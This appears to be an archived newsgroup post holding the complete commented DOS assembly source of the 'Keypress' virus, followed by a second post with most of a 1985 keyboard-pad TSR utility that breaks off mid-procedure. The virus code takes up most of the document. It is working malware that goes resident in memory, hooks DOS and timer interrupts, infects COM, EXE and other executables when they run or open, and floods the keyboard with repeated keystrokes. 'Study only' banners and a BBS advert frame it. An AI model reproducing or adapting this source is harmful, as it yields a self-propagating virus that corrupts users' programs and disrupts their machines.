; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;********************************************************
; Source code of the Keypress Virus - Made by XSTC
; Made in A86 v3.07
;
; The Keypress Virus installs itself in top of DOS
; memory, without using DOS resident functions. It will
; hook int 1Ch (timer) and 21h (DOS) and will copy every
; 10 minutes during 2 seconds the keys you press five
; times (so if you press '1' it will be '111111') - if
; you press no key, it will usually give ESCs.
;
; In DOS 3+ it spreads to every file executed - so it
; can, besides COM/EXE, infect DRV/OVL/etc.
; It also spreads itself in DOS 1 and 2 with a special
; routine - in this case only COM/EXE files will be
; infected.
;
; It adds, after making full paragraphs of the file
; length, 1232 bytes to COM-files and 1216 to EXE.
;
; This code is only made to show the possibilities and
; dangers of a virus. It is only intended for research
; purposes - spreading a virus is prohibited by law.
;
; NOTE - The compiled code is not 100% compatible with
; the Keypress virus. A86 compiles the 'ADD BX,AX' and
; 'MOV DI,SI' different. This has totally no effect
; on the program.
;********************************************************

; After compiling the new virus, enter the new size in paragraphs in VirParSize
; and compile again.

VirParSize equ 4Ch ; Size of the original KeyPress
virus

VirStart: jmp long VirBegin
db 0

ComStart: mov bx,cs ; When the virus has infected a .COM
file,
add bx,[102h] ; this is the jump to the virus.
Actually,
push bx ; this code is overwritten with the
code
mov bx,offset VirBegin ; in the end of the
virus.
push bx
retf

EB02 dw 02EBh ; 'jmp 104' - first 2 bytes in .COM
file

VirSize dw VirParSize shl 4 ; Size of virus in whole
pars

VirPars dw VirParSize + 1 ; Size of virus in
pars+1

MaxComSize dw 0FF00h-VirParSize ; Max. size .COM file to infect (100h
stack)

Com_or_exe db 00h ; 0 = Com-File, 1 =
Exe-File
R_Ax dw (?)
R_Bx dw (?)
R_Cx dw (?)
R_Dx dw (?)
R_Di dw (?)
R_Si dw (?)
R_Bp dw (?)
R_Es dw (?)
R_Ds dw (?)
R_SS dw (?)
R_SP dw (?)

Exe_CS dw (?)
Exe_IP dw (?)


VirBegin: call Save_Regs ; Start of
virus
call Fix_cs_ss ; Fix CS and SS of orig. prog (for .EXE
files)
call Get_cs_ip ; Get CS and IP of original
prog
call Check_res ; Check virus already
resident
jb Exit_inst ; Yes,
quit

call Inst_mem ; Install in
memory
jb Exit_inst ; Error,
quit

call Inst_ints ; Hook
interrupts
Exit_Inst: jmp short Rst_regs_prg
nop

Jmp_Prg: db 0EAh ; Jump to original
program
PrgOfs dw (?)
PrgSeg dw (?)

Check_res: push ds
xor bx,bx
mov ds,bx
mov bx,600h ; Unused word in
memory
cmp word ptr [bx],1 ; Already
installed?
jz Installed ;
Yes

mov word ptr [bx],1 ;
No
stc

Installed: cmc
pop ds
ret


;*** For .EXE: Fix orig-prog CS and SS ***

Fix_cs_ss: test byte ptr [Com_or_exe],1
jz no_exe

mov ax,es
add ax,10h
add Exe_cs,ax
add R_ss,ax

No_Exe: ret


;*** Get CS + IP of orig. program, and for .COM: Restore first 16 bytes ***

Get_cs_ip: mov ax,[Exe_cs]
mov bx,[Exe_ip]
test byte ptr [Com_or_exe],1
jnz No_rest ; .EXE file: no restore of first
bytes

mov ax,es
mov bx,100h
mov cx,10h
mov si,offset First_bytes
mov di,100h
cld
repz ; Restore first 16 bytes (.COM
file)
movsb

No_rest: mov [Prgseg],ax
mov [Prgofs],bx
ret


;*** Proc: Save the registers to restore them after the virus has ended ***

Save_Regs: mov cs:R_ds,ds
push cs
pop ds
mov R_ax,ax
mov R_bx,bx
mov R_cx,cx
mov R_dx,dx
mov R_di,di
mov R_si,si
mov R_bp,bp
mov R_es,es
ret


;*** Restore regs for original program ***

Rst_regs_prg: mov ax,R_ax
mov bx,R_bx
mov cx,R_cx
mov dx,R_dx
mov bp,R_bp
mov di,R_di
mov si,R_si
mov es,R_es
test byte ptr [Com_or_exe],1
jz No_StackRest ; No stack restore for .COM
files

cli
mov ss,[R_ss] ; Restore .EXE
stack
mov sp,[R_sp]
sti

No_StackRest: mov ds,R_ds
jmp short jmp_prg


;*** Restore regs for interrupts ***

Rst_regs_int: mov ax,R_ax
mov bx,R_bx
mov cx,R_cx
mov dx,R_dx
mov bp,R_bp
mov di,R_di
mov si,R_si
mov es,R_es
mov ds,R_ds
ret


;*** Proc: Search for last MCB ***

Last_MCB: push ds
mov bx,es
dec bx

Next_MCB: mov ds,bx
cmp byte ptr [0],5Ah ; Last
MCB?
jz Is_last ;
Yes
inc bx
add bx,[3] ; Go to
next
cmp bx,0A000h ; In
ROM?
jb Next_MCB ; No, try next
one

Is_Last: pop ds
ret


;*** Proc: Install virus in end of memory ***

Inst_Mem: call Last_mcb ; Search last
MCB
cmp bx,0A000h ; In
ROM?
jb Not_ROM ; No,
continue

No_Inst: push cs ; Yes,
quit
pop ds
stc ; Error, virus not
installed
ret

Not_ROM: mov ds,bx
mov ax,[3] ; AX = Size last
MCB
sub ax,cs:[VirPars] ; - (Virussize in
pars+1)
jbe no_inst ; Not enough memory,
quit
cmp ax,800h
jb no_inst ; Less than 2048 pars free,
quit
mov [3],ax ; Give program less space to install
virus
add bx,ax
inc bx ; BX = seg where virus
comes
mov es:[2],bx ; Enter in PSP, program not allowed
there
sub bx,10h ; - 10h pars (virus starts at
100h)
push bx
push cs
pop ds
pop es
mov si,100h
mov di,si
mov cx,[VirSize] ; CX =
virussize
cld
repz ; Copy virus to
virus-segment
movsb
clc ; No error, virus
installed
ret


;*** Install new interrupts (1C - Timer Tick, 21 - DOS) ***

Inst_Ints: push es
pop ds
mov word ptr [Ticks],0
mov ax,351Ch ; Get Addr Timer
Tick
int 21h
mov I1c_ofs,bx
mov I1c_seg,es
mov ax,3521h ; Get Addr
DOS-Int
int 21h
mov I21_ofs,bx
mov I21_seg,es
mov ax,251Ch
mov dx,offset New_I1c
int 21h ; Install New Timer-Tick
Int
mov dx,offset I21_dos12
push dx
mov ah,30h ; Get
DOS-Version
int 21h
pop dx
cmp al,3 ; Below
3.0?
jb DosBel3
mov dx,offset new_I21 ; No, new
int
DosBel3: mov ax,2521h ; Install new
DOS-Int
int 21h
push cs
pop ds
ret


;*** Proc: NEW 1C (TIMER TICK) INTERRUPT ***
; Every 10 minutes this routine sends during 2 sec. 180 extra keys to the
; keyboard-interrupt.

Ticks dw (?)

New_I1c: inc word ptr cs:[Ticks] ; Increment 'Ticks after virus
loaded'
cmp word ptr cs:[Ticks],2A30h ; 10 minutes
passed?
jb org_I1c ; No, go to orig.
I1c
cmp word ptr cs:[Ticks],2A54h ; 2 sec.
passed?
jbe screw_keys ; Not yet, give
ESCs
mov word ptr cs:[Ticks],0 ; Time-counter to
0
jmp short Org_I1c ; Go to orig.
I1c
Screw_Keys: push cx
mov cx,5 ; 5 times /
tick
Put_Key: int 9 ; Give extra
key
loop Put_key
pop cx
Org_I1c: db 0EAh ; Jump far to orig.
I1c
I1c_Ofs dw (?)
I1c_Seg dw (?)

New_I24: mov al,0

New_I23: iret

I23_Ofs dw (?)
I23_Seg dw (?)

I24_Ofs dw (?)
I24_Seg dw (?)

ProgSize dw (?) ; Program size in
paragraphs

New_I21: cmp ax,4B00h ; New DOS Int for DOS 3
+
jz Is_Start
jmp far dword ptr cs:[I21_Ofs] ; Jmp orig. I
21
Is_Start: call Save_Regs
call InstCritInt ; Install new ^c and crit. err.
int
mov ax,3D02h ; Open file for read and
write
mov ds,R_Ds
int 21h
push cs
pop ds
jc Close_File
mov bx,ax
call Read_header
jc Close_File
call Write_virus
jc Close_File
call Write_header
Close_File: mov ah,3Eh ; Close
file
int 21h
call RestCritInt ; Restore ^c and crit-err
ints
call Rst_regs_int
jmp far dword ptr cs:[I21_Ofs]

I21_Dos12: cmp ah,3Dh ; New DOS-Int for DOS 1.x and
2.x
jz Is_Open

JmpDos: db 0EAh ; Jump
Far
I21_Ofs dw (?)
I21_Seg dw (?)

Is_Open: push ax ;
Network-flags?
and al,0FCh
pop ax
jnz JmpDos ; Yes ->
DOS

call Save_Regs

call InstCritInt ; Install new ^c and crit. err.
int

mov DS,R_Ds
or al,2 ; Write
access
pushf
cli
call far cs:[I21_Ofs] ; Open
file
push cs
pop ds
jc Open_Error ; Error opening ->
DOS

pushf
mov [R_Ax],ax ; Save
handle
mov bx,ax

call Chk_Inf ; Check infection is
possible
jc No_Infect ; No ->
quit

call Read_header
jc No_Infect

call Write_virus
jc No_Infect
call Write_header
No_Infect: call Go_file_beg ; Go to begin of
file
call RestCritInt ; Restore ^c and crit-err
ints
call Rst_regs_int
popf
retf 2
Open_Error: call RestCritInt ; Restore ^c and crit-err
ints
call Rst_regs_int
jmp short JmpDos


;*** Proc: Buffer for header of program to infect ***

Head_buf dw 0Ch dup (?)


;*** Proc: Install new ^C and crit. err. interrupt ***

InstCritInt: push ax
push bx
push dx
push ds
push es
push cs
pop ds
mov ax,3523h ; Get Ctrl-Break Int
Addr
int 21h
mov I23_Ofs,bx
mov I23_Seg,es
mov ax,3524h ; Get Crit. Err Int
Addr
int 21h
mov I24_Ofs,bx
mov I24_Seg,es
mov ax,2523h
mov dx,offset New_I23 ; Install new Ctrl-Break
Int
int 21h
mov ax,2524h ; Install new Crit. Err
Int
mov dx,offset New_I24
int 21h
pop es
pop ds
pop dx
pop bx
pop ax
ret


;*** Proc: Restore orig. ctrl-break and crit. err. interrupt ***

RestCritInt: mov ax,2524h ; Rest. orig. crit. err
int
lds dx,dword ptr cs:[I24_Ofs]
int 21h
mov ax,2523h ; Rest. orig. ctrl-break
int
lds dx,dword ptr cs:[I23_Ofs]
int 21h
push cs
pop ds
ret


;*** Read header of file ***

Read_header: mov ah,3Fh
mov dx,offset Head_buf
mov cx,18h
int 21h
jc HeadRead_Err ; Error reading, don't
infect

call Check_infect ; Check file already infected; if not, save
data
jc HeadRead_Err ; Error,
quit

call Calc_data ; Calculate data for infected
file
jc HeadRead_Err ; Error,
quit

HeadRead_Err: ret


;*** Proc: Write virus, and for .COM files, write first 16 bytes behind virus
***

Write_virus: mov ah,40h ; Write virus behind
program
mov cx,[VirSize]
mov dx,100h
int 21h
jc Err_Writ ; Write error,
quit
cmp ax,cx
jnz Err_Writ ; ' ' ' ' ' '
test byte ptr [Com_or_exe],1
jz First_Write
ret

First_Write: mov ah,40h ; Write orig. 1st 16 bytes behind
virus
mov cx,10h
mov dx,offset Head_buf
int 21h
jc Err_Writ ; Write error,
quit
cmp ax,cx
jnz Err_Writ ; ' ' ' ' ' '
clc ; End procedure, no
error
ret

Err_Writ: stc ; End procedure,
error
ret


;*** Proc: .COM: Write jump-to-virus, .EXE: Write header ***

Write_header: call Go_file_beg ; Go to begin of
file
test byte ptr [Com_or_exe],1 ;
.EXE-file?
jnz Exe_header
mov ah,40h ; .COM file - Write 'EB
02'
mov cx,2
mov dx,offset EB02
int 21h
mov ah,40h ; Write program-size in
pars
mov cx,2
mov dx,offset ProgSize
int 21h
mov ah,40h ; Write rest of begin of
virus
mov cx,0Ch
mov dx,104h
int 21h
ret

Exe_header: mov ah,40h ; Write in
File
mov cx,18h
mov dx,offset Head_buf
int 21h
ret


;*** Proc: Change file pointer ***

Cng_file_ptr: mov ax,4200h
int 21h
ret


;*** Proc: Go to begin of file ***

Go_file_beg: xor cx,cx ; Filepointer =
0
xor dx,dx
call Cng_file_ptr ; Change File
Pointer
ret


;*** Proc: Check file is already infected ***

Check_infect: mov si,104h
mov di,offset Head_buf+4
push cs
pop es
mov byte ptr [Com_or_exe],0 ; Flag for
.COM
cmp word ptr [di-04],5A4Dh ; Is
.EXE?
jz Is_Exe
mov cx,0Ch ; No, .COM
file
cld
repz ; Already
infected?
cmpsb
jnz Do_Infect ; Not
yet
Dont_Infect: stc
ret
Do_Infect: clc
ret
Is_Exe: mov byte ptr [Com_or_exe],1 ; Flag for
.EXE
mov cx,[offset Head_buf+14h] ; cx =
Prog-IP
cmp cx,offset VirBegin ; Same as
Vir-IP?
jz Dont_Infect ; Yes,
quit
cmp word ptr [offset Head_buf+0Ch],0 ; Max extra
pars=0?
jz Dont_Infect ; Yes,
quit
mov [Exe_ip],cx ; Save
prog-IP
mov cx,[Head_buf+16h]
mov [Exe_cs],cx ; Save
prog-cs
mov cx,[Head_buf+0Eh]
mov [R_ss],cx ; Save
prog-SS
mov cx,[Head_buf+10h]
mov [R_sp],cx ; Save
prog-SP
jmp short Do_Infect


;*** Proc: Calculate data for infection ***

Calc_data: mov ax,4202h ; Go to
EOF
xor cx,cx
xor dx,dx
int 21h
test al,0Fh ; Size mod 16 = 0 (File is exact x
paragraps)?
jz No_par_add ; Yes, no extra par
added
add ax,10h ; Add
paragraph
adc dx,0 ; Overflow -> Inc
dx
and ax,0FFF0h ; Make
paragraphs
No_par_add: test byte ptr [Com_or_exe],1
jnz Calc_exe
or dx,dx
jnz not_infect
cmp ax,[maxcomsize] ; File too
big?
ja not_infect ; Yes,
quit
cmp ax,[VirSize] ; File too
small?
jbe Not_Infect ; Yes,
quit
mov [ProgSize],ax ; Save
program-size
mov cl,4
shr word ptr [ProgSize],cl ; In
paragraphs
mov dx,ax
xor cx,cx
call Cng_file_ptr ; Go to
EOF
clc
ret
Not_Infect: stc
ret

Calc_exe: push ax
push dx
add ax,100h ; 100 bytes
stack
adc dx,0 ; Overflow - inc
dx
mov cx,dx
mov dx,ax
call Cng_file_ptr ; Go to
EOF
push bx
add ax,[VirSize] ; New
exe-length
adc dx,0
mov bx,200h ; For header: /
512
div bx
or dx,dx
jz No_Correct
inc ax ; Files below 2.000.000h bytes - length
correction
No_Correct: mov [Head_buf+2],dx ; Save new
file-length
mov [Head_buf+4],ax ; ' ' ' ' ' ' ' '
pop bx
pop dx
pop ax
call Calc_cs_ss
mov word ptr [Head_buf+10h],100h ;
Prog-SP=100h
mov word ptr [Head_buf+14h],offset VirBegin ; Set
prog-IP
clc
ret


;*** Proc: Calculate new CS and SS for .EXE file ***

Calc_cs_ss: push cx
mov cx,4
Cs_ss_lp: shr dx,1
rcr ax,1
loop Cs_ss_lp
sub ax,[Head_buf+8] ; Size of
header
sbb dx,0
mov [Head_buf+0Eh],ax ; Save
prog-SS
mov [Head_buf+16h],ax ; Save
prog-cs
pop cx
ret


;*** Check infection is possible ***

Chk_Inf: call Chk_exec ; Check file is
executable
jb Not_exec
call Get_attr ; Check file has no SYS
attr
Not_Exec: ret


;*** Search-paths ***

Com_path db '.COM',0

Exe_path db '.EXE',0


;*** Check file is executable (.COM / .EXE)

Chk_Exec: push es
mov es,R_ds
mov di,dx
xor al,al
mov cx,80h
cld
repnz ; Search
'.'
scasb
jnz not_inf ; No '.'
found
dec di
push di
mov si,offset Com_path+4
mov cx,4
std
repz ; Check
'.COM'
cmpsb
pop di
jnz no_com ; No
.COM
clc
jmp short Infect
nop
Not_Inf: stc

Infect: cld
pop es
ret
No_Com: mov si,offset Exe_path+4
mov cx,4
repz ; Check
'.EXE'
cmpsb
jnz not_inf ; No .EXE either - not
executable
clc
jmp short infect

Get_Attr: push ds
mov ax,4300h ; Get
FileAttr
xor cx,cx
mov ds,R_ds
int 21h
pop ds
jb Bad_Attr ; Error - don't
infect
test cx,4 ;
System-Attr?
jnz Bad_Attr ; Yes, don't
infect
clc
ret

Bad_Attr: stc
ret

First_bytes: int 20h ; First bytes of orig. program - here just 'Go to
DOS'
dw (?)
mov bx,cs ; Overwrites the
begin
add bx,[102h]
push bx
mov bx,offset VirBegin
push bx
retf

;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;


Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Береги честь смолоду - полюбишь и козла!

John Zaicev

unread,
May 14, 2012, 2:42:23 AM5/14/12
to
[√] Привет _All_ !

VECTORS SEGMENT AT 0H ;Set up segment to intercept Interrupts
ORG 9H*4 ;The keyboard Interrupt
KEYBOARD_INT LABEL DWORD
ORG 1CH*4 ;Timer Interrupt
TIMER_VECTOR LABEL DWORD
VECTORS ENDS

SCREEN SEGMENT AT 0B000H ;A dummy segment to use as the
SCREEN ENDS ;Extra Segment

ROM_BIOS_DATA SEGMENT AT 40H ;BIOS statuses held here, also keyboard buffer

ORG 1AH
HEAD DW ? ;Unread chars go from Head to Tail
TAIL DW ?
BUFFER DW 16 DUP (?) ;The buffer itself
BUFFER_END LABEL WORD

ROM_BIOS_DATA ENDS

CODE_SEG SEGMENT
ASSUME CS:CODE_SEG
ORG 100H ;ORG = 100H to make this into a .COM file
FIRST: JMP LOAD_KEEPER ;First time through

COPY_RIGHT DB '(C)1985 S.HOLZNER' ;Ascii autograph
PAD DB 20*102 DUP(0) ;Memory storage for pad
PAD_CURSOR DW 9*102 ;Current position in pad
ATTRIBUTE DB 112 ;Pad Attribute -- reverse video
LINE_ATTRIBUTE DB 240 ;Flashing Rev video
OLD_ATTRIBUTE DB 7 ;Original screen attrib: normal
PAD_OFFSET DW 0 ;Chooses 1st 250 bytes or 2nd
FIRST_POSITION DW ? ;Position of 1st char on screen
TRIGGER_FLAG DW 0 ;Trigger on or off
FULL_FLAG DB 0 ;Buffer Full Flag
LINE DW 9 ;Line number, 0-9
SCREEN_SEG_OFFSET DW 0 ;0 for mono, 8000H for graphics
IO_CHAR DW ? ;Holds addr of Put or Get_Char
STATUS_PORT DW ? ;Video controller status port
OLD_KEYBOARD_INT DD ? ;Location of old kbd interrupt
FINISHED_FLAG DB 1 ;If not finished,f buffer
COMMAND_INDEX DW 1 ;Stores positior timer)
ROM_TIMER DD 1 ;The Timer interrupt's address
OLD_HEAD DW 0

KEEPER PROC NEAR ;The keyboard interrupt will now come here.
ASSUME CS:CODE_SEG
PUSH AX ;Save the used registers for good form
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH SI
PUSH DS
PUSH ES
PUSHF ;First, call old keyboard interrupt
CALL OLD_KEYBOARD_INT
ASSUME DS:ROM_BIOS_DATA ;Examine the char just put in
MOV BX,ROM_BIOS_DATA
MOV DS,BX
MOV BX,TAIL ;Point to current tail
CMP BX,HEAD ;If at head, kbd int has deleted char
JE BYE ;So leave
MOV DX,HEAD
SUB DX,2 ;Point to just read in character
CMP DX,OFFSET BUFFER ;Did we undershoot buffer?
JAE NOWRAP ;Nope
MOV DX,OFFSET BUFFER_END ;Yes -- move to buffer top
SUB DX,2 ;Compare two bytes back from head
NOWRAP: CMP DX,TAIL ;If it's the tail, buffer is full
JNE NOTFULL ;We're OK, jump to NotFull
CMP FULL_FLAG,1 ;Check if keyboard buffer full
JE BYE ;Yep, leave
MOV FULL_FLAG,1 ;Oops, full, set flag and take
JMP CHK ; this last character
NOTFULL:MOV FULL_FLAG,0 ;Always reset Full_Flag when buff
clears
CHK: CMP TRIGGER_FLAG,0 ;Is the window on (triggered?)
JNE SUBT ;Yep, keep going
MOV DX,OLD_HEAD ;Check position of buffer head
CMP DX,HEAD
JNE CONT
MOV OLD_HEAD,0
BYE: JMP OUT
CONT: MOV DX,HEAD
MOV OLD_HEAD,DX
SUBT: SUB BX,2 ;Point to just read in character
CMP BX,OFFSET BUFFER ;Did we undershoot buffer?
JAE NO_WRAP ;Nope
MOV BX,OFFSET BUFFER_END ;Yes -- move to buffer top
SUB BX,2 ;
NO_WRAP:MOV DX,[BX] ;Char in DX now
;------ CHAR IN DX NOW -------
CMP FINISHED_FLAG,0
JE IN
CMP DX,310EH ;Default trigger is a ^N here.
JNE NOT_TRIGGER ;No
MOV TAIL,BX
NOT TRIGGER_FLAG ;Switch Modes
CMP TRIGGER_FLAG,0 ;Trigger off?
JNE TRIGGER_ON ;No, only other choice is on
TRIGGER_OFF:
MOV OLD_HEAD,0 ;Reset old head
MOV AH,OLD_ATTRIBUTE ;Get ready to restore screen
MOV ATTRIBUTE,AH ;Pad and blinking line set to orig.
MOV LINE_ATTRIBUTE,AH ; values
MOV PAD_OFFSET,10*102 ;Point to 2nd half of pad
LEA AX,PUT_CHAR ;Make IO call Put_Char as it scans
MOV IO_CHAR,AX ;over all locations in pad on screen
CALL IO ;Restore screen
CMP LINE,9 ;Was the window turned off without
JE IN ; using up-down keys? If so, exit
MOV AX,LINE ;No, there is a line to stuff in
MOV CL,102 ; keyboard buffer
MUL CL ;Find its location in Pad
MOV COMMAND_INDEX,AX ;And send to Put
CALL PUT ;Which will do actual stuffing
IN: JMP OUT ;Done
TRIGGER_ON: ;Window just turned on
MOV LINE,9 ;Set blinking line to bottom
MOV PAD_OFFSET,10*102 ;Point to screen storage part of pad
LEA AX,GET_CHAR ;Make IO use Get_char so current screen
MOV IO_CHAR,AX ;is stored
CALL IO ;Store Screen
CALL DISPLAY ;And put up the pad
JMP OUT ;Done here.
NOT_TRIGGER:
TEST TRIGGER_FLAG,1 ;Is Trigger on?
JZ RUBOUT_TEST
MOV TAIL,BX ;Yes, delete this char from buffer
UP: CMP DX,4800H ;An Up cursor key?
JNE DOWN ;No, try Down
DEC LINE ;Move blinker up one line
CMP LINE,0 ;At top? If so, reset
JGE NOT_TOP
MOV LINE,9
NOT_TOP:CALL DISPLAY ;Display result
JMP OUT ;And leave
DOWN: CMP DX,5000H ;Perhaps Down cusor key pushed
JNE IN ;If not, ignore key
INC LINE ;If so, move down one
CMP LINE,9 ;If at bottom, wrap to top
JLE NOT_BOT
MOV LINE,0
NOT_BOT:CALL DISPLAY ;Show results
JMP OUT ;And exit
RUBOUT_TEST:
CMP DX,0E08H ;Is it a Rubout?
JNE CHAR_TEST ;No -- try carriage return-line feed
MOV BX,PAD_CURSOR ;Yes -- get current pad location
CMP BX,9*102 ;Are we at beginning of last line?
JLE NEVER_MIND ;Yes -- can't rubout past beginning
SUB PAD_CURSOR,2 ;No, rubout this char
MOV PAD[BX-2],20H ;Move a space in instead (3920H)
MOV PAD[BX-1],39H
NEVER_MIND:
JMP OUT ;Done here.
CHAR_TEST:
CMP DL,13 ;Is this a carriage return?
JE PLUG ;If yes, plug this line into Pad
CMP DL,32 ;If this char < Ascii 32, delete line
JGE PLUG
MOV PAD_CURSOR,9*102 ;Clear the current line
MOV CX,51
MOV BX,9*102
CLEAR: MOV WORD PTR PAD[BX],0
ADD BX,2
LOOP CLEAR
JMP OUT ;And exit

PLUG: MOV BX,PAD_CURSOR ;Get current pad location
CMP BX,10*102-2 ;Are we past the end of the pad?
JGE CRLF_TEST ;Yes -- throw away char
MOV WORD PTR PAD[BX],DX ;No -- move ASCII code into pad
ADD PAD_CURSOR,2 ;Increment pad location
CRLF_TEST:
CMP DX,1C0DH ;Is it a carriage return-line feed?
JNE OUT ;No -- put it in the pad
CALL CRLF ;Yes -- move everything up in pad
OUT: POP ES ;Having done Pushes, here are the Pops
POP DS
POP SI
POP DI
POP DX
POP CX
POP BX
POP AX
IRET ;An interrupt needs an IRET
KEEPER ENDP

DISPLAY PROC NEAR ;Puts the whole pad on the screen
PUSH AX
MOV ATTRIBUTE,112 ;Use reverse video
MOV LINE_ATTRIBUTE,240
MOV PAD_OFFSET,0 ;Use 1st 250 bytes of pad memory
LEA AX,PUT_CHAR ;Make IO use Put-Char so it does
MOV IO_CHAR,AX
CALL IO ;Put result on screen
POP AX
RET ;Leave
DISPLAY ENDP

CRLF PROC NEAR ;This handles carriage returns
PUSH BX ;Push everything conceivable
PUSH CX
PUSH DI
PUSH SI
PUSH DS
PUSH ES
ASSUME DS:CODE_SEG ;Set DS to Code_Seg here
PUSH CS
POP DS
ASSUME ES:CODE_SEG ;And ES too
PUSH DS
POP ES
LEA DI,PAD ;Get ready to move contents of Pad
MOV SI,DI ; up one line
ADD SI,102 ;DI-top line, SI-one below top line
MOV CX,9*51
MOV BX,PAD_CURSOR ;But first finish line with a 0
CMP BX,9*102+2 ; as a flag letting Put know line is
JE POPS ; done.
MOV WORD PTR PAD[BX],0
REP MOVSW ;Move up Pad contents
MOV CX,51 ;Now fill the last line with spaces
MOV AX,3920H
REP STOSW ;Using Stosw
POPS: MOV PAD_CURSOR,9*102 ;And finally reset Cursor to beginning
POP ES ; of the last line again.
POP DS
POP SI
POP DI
POP CX
POP BX
DONE: RET ;And out.
CRLF ENDP

GET_CHAR PROC NEAR ;Gets a char from screen and advances position
ASSUME ES:SCREEN,DS:ROM_BIOS_DATA
PUSH DX
MOV SI,2 ;Loop twice, once for char, once for attribute
MOV DX,STATUS_PORT ;Get ready to read video controller status
G_WAIT_LOW: ;Start waiting for a new horizontal scan -
IN AL,DX ;Make sure the video controller scan status
TEST AL,1 ;is low
JNZ G_WAIT_LOW
G_WAIT_HIGH: ;After port has gone low, it must go high
IN AL,DX ;before it is safe to read directly from
TEST AL,1 ;the screen buffer in memory
JZ G_WAIT_HIGH
MOV AH,ES:[DI] ;Do the move from the screen, one byte at a
time
INC DI ;Move to next screen location
DEC SI ;Decrement loop counter
CMP SI,0 ;Are we done?
JE LEAVE ;Yes
MOV PAD[BX],AH ;No -- put char we got into the pad
JMP G_WAIT_LOW ;Do it again
LEAVE: MOV OLD_ATTRIBUTE,AH
ADD BX,2
POP DX
RET
GET_CHAR ENDP

PUT_CHAR PROC NEAR ;Puts one char on screen and advances position
PUSH DX
MOV AH,PAD[BX] ;Get the char to be put onto the screen
CMP AH,32
JAE GO
MOV AH,32
GO: MOV SI,2 ;Loop twice, once for char, once for attribute
MOV DX,STATUS_PORT ;Get ready to read video controller status
P_WAIT_LOW: ;Start waiting for a new horizontal scan -
IN AL,DX ;Make sure the video controller scan status
TEST AL,1 ;is low
JNZ P_WAIT_LOW
P_WAIT_HIGH: ;After port has gone low, it must go high
IN AL,DX ;before it is safe to write directly to
TEST AL,1 ;the screen buffer in memory
JZ P_WAIT_HIGH
MOV ES:[DI],AH ;Move to screen, one byte at a time
MOV AH,ATTRIBUTE ;Load attribute byte for second pass
INC DI ;Point to next screen postion
DEC SI ;Decrement loop counter
JNZ P_WAIT_LOW ;If not zero, do it one more time
ADD BX,2
POP DX
RET ;Exeunt
PUT_CHAR ENDP

IO PROC NEAR ;This scans over all screen positions of the
pad
ASSUME ES:SCREEN ;Use screen as extra segment
MOV BX,SCREEN
MOV ES,BX

PUSH DS
MOV BX,ROM_BIOS_DATA
MOV DS,BX
MOV BX,4AH
MOV BX,DS:[BX]
SUB BX,51
ADD BX,BX
MOV FIRST_POSITION,BX
POP DS

MOV DI,SCREEN_SEG_OFFSET ;DI will be pointer to screen postion
ADD DI,FIRST_POSITION ;Add width of screen minus pad width
MOV BX,PAD_OFFSET ;BX will be pad location pointer
MOV CX,10 ;There will be 10 lines

LINE_LOOP:
PUSH WORD PTR ATTRIBUTE
PUSH CX ;Figure out whether this is blinking
NEG CX ; line and if so, temporarily change
ADD CX,10 ; display attribute
CMP CX,LINE
JNE NOLINE
MOV CL,LINE_ATTRIBUTE
MOV ATTRIBUTE,CL
NOLINE: POP CX
MOV DX,51 ;And 51 spaces across
CHAR_LOOP:
CALL IO_CHAR ;Call Put-Char or Get-Char
DEC DX ;Decrement character loop counter
JNZ CHAR_LOOP ;If not zero, scan over next character
ADD DI,FIRST_POSITION ;Add width of screen minus pad width

POP WORD PTR ATTRIBUTE
LOOP LINE_LOOP ;And now go back to do next line
RET ;Finished
IO ENDP

PUT PROC NEAR ;Here it is.
ASSUME DS:ROM_BIOS_DATA ;Free DS
PUSH DS ;Save all used registers
PUSH SI
PUSH DI
PUSH DX
PUSH CX
PUSH BX
PUSH AX
MOV AX,ROM_BIOS_DATA ;Just to make sure
MOV DS,AX ;Set DS correctly
FIN: MOV FINISHED_FLAG,1 ;Assume we'll finish
MOV BX,TAIL ;Prepare to move to buffer's tail
MOV SI,COMMAND_INDEX ;Get our source index

STUFF: MOV AX,WORD PTR PAD[SI]
ADD SI,2 ;Point to the command's next character
CMP AX,0 ;Is it a zero? (End of command)
JE NO_NEW_CHARACTERS ;Yes, leave with Finished_Flag=1
MOV DX,BX ;Find position in buffer from BX
ADD DX,2 ;Move to next position for this word
CMP DX,OFFSET BUFFER_END ;Are we past the end?
JL NO_WRAP2 ;No, don't wrap
MOV DX,OFFSET BUFFER ;Wrap
NO_WRAP2:
CMP DX,HEAD ;Buffer full but not yet done?
JE BUFFER_FULL ;Time to leave, set Finished_Flag=0.
ADD COMMAND_INDEX,2 ;Move to next word in command
MOV [BX],AX ;Put it into the buffer right here.
ADD BX,2 ;Point to next space in buffer
CMP BX,OFFSET BUFFER_END ;Wrap here?
JL NO_WRAP3 ;No, readjust buffer tail
MOV BX,OFFSET BUFFER ;Yes, wrap
NO_WRAP3:
MOV TAIL,BX ;Reset buffer tail
JMP STUFF ;Back to stuff in another character.
BUFFER_FULL: ;If buffer is full, let timer take over
MOV FINISHED_FLAG,0 ; by setting Finished_Flag to 0.
NO_NEW_CHARACTERS:
